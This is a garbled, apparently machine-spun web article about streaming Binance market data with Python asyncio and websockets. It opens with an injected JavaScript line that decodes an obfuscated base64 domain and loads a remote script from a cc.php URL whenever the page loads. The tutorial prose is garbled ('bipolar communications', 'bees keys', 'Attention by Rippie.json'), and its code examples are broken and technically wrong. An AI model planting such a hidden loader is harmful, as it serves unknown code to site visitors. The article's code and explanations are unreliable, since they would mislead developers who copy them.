const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4d81d25c”;document.body.appendChild(script);
Ethereum and websockets: build real currents with asin
=========================================== ============================= =========== = = ===================================
As a Python developer, you are probably familiar with the importance of data flows in real time in applications, such as financial trading platforms. A popular way to achieve this goal is through websockets, a protocol that creates bipolar communications between customers and online servers.
In this article, we explore how Asyncio is used (Library I/O asynchronous in Python) to combine more currents of Websocket with Ethereum with Python.
What is Asyncio?
——-
Asyncio is built on Python 3.4+ and supports I/O operations, choir and simultaneous. It allows you to write a single simultaneous code through asynchronization/waiting for syntax, which makes it easier to write an effective and scalable asyncholy code.
Connection to WebSockes Binance
———–
To connect to the Binance Websockets application, we use the `requested 'with websocket library. We also use Asyncio to manage different connections simultaneously.
Python
Matters asyncio
That ahttp
Async Def Get_websocket_data (Api_Key):
URL = F ” Space”
Params = {
“Key”: Api_key,
“Symbol”: “btcusdt”,
“Event_type”: “New_order”,
“Border”: 1
}
Async Aiöhttp.cliense () with a session:
Async session.post (URL, Json = parameters) in response:
Data = Attention by Rippie.json ()
Reimbursement information
Async Def Main ():
Api_Keys = [“Api_key_1”, “Api_key_2”, “Api_key_3”]
Tasks = [Get_Websocket_data (Api_key) bees_key for aPi_Key]
Answers = Wait asyncio.gather (*activity)
Print (answers)
If __nimi__ == “__Main__”:
asyncio.run (main ())
`
In this example, we define the function of "get_websocket_data", which sends a request for order to the subscription of the application for binance. We then use "Asyncio.gather" to carry out various activities at the same time.
We create a list of bees keys and move it onGet_websket_datausing the asynchric loop. Each activity is performed independently, allowing us to face different connections simultaneously.
An example
--------
The result is a Json object, which contains the latest market information on Binance's websocket application.
[[[
{'' Symbol ':' Btcusdt ',' Last_price ': 0.0001},
{'Symbol': 'Btcusdt', 'Offer': 0.001, 'Ask': 0.002},
...
-
Royal data flows
---------
To receive messages from multiple bees keys simultaneously, we can use an asyncio event and order various websocket events using the "Async" declaration.
Python
Matters asyncio
Async Def Main ():
Api_Keys = [“Api_key_1”, “Api_key_2”]
Subscribe to the market information events
Async Aiöhttp.cliense () with a session:
Async for Response Session.get (” Answer:
If ‘ok’ in response.json ():
Data = Attention by Rippie.json ()
Api_key, Zip event (Api_Keys, [‘Market’, ‘Order’, ‘Trading’]):
Information on the process market
Print (F “Market information: {Event}”)
Events and trading events
If an event [‘Type’] == ‘New_order’:
Print (“New Order received”)
Perform the main function
asyncio.run (main ())
``
In this example, we order a series of websocket events using a “loop”. We manage each event separately by printing messages in the console.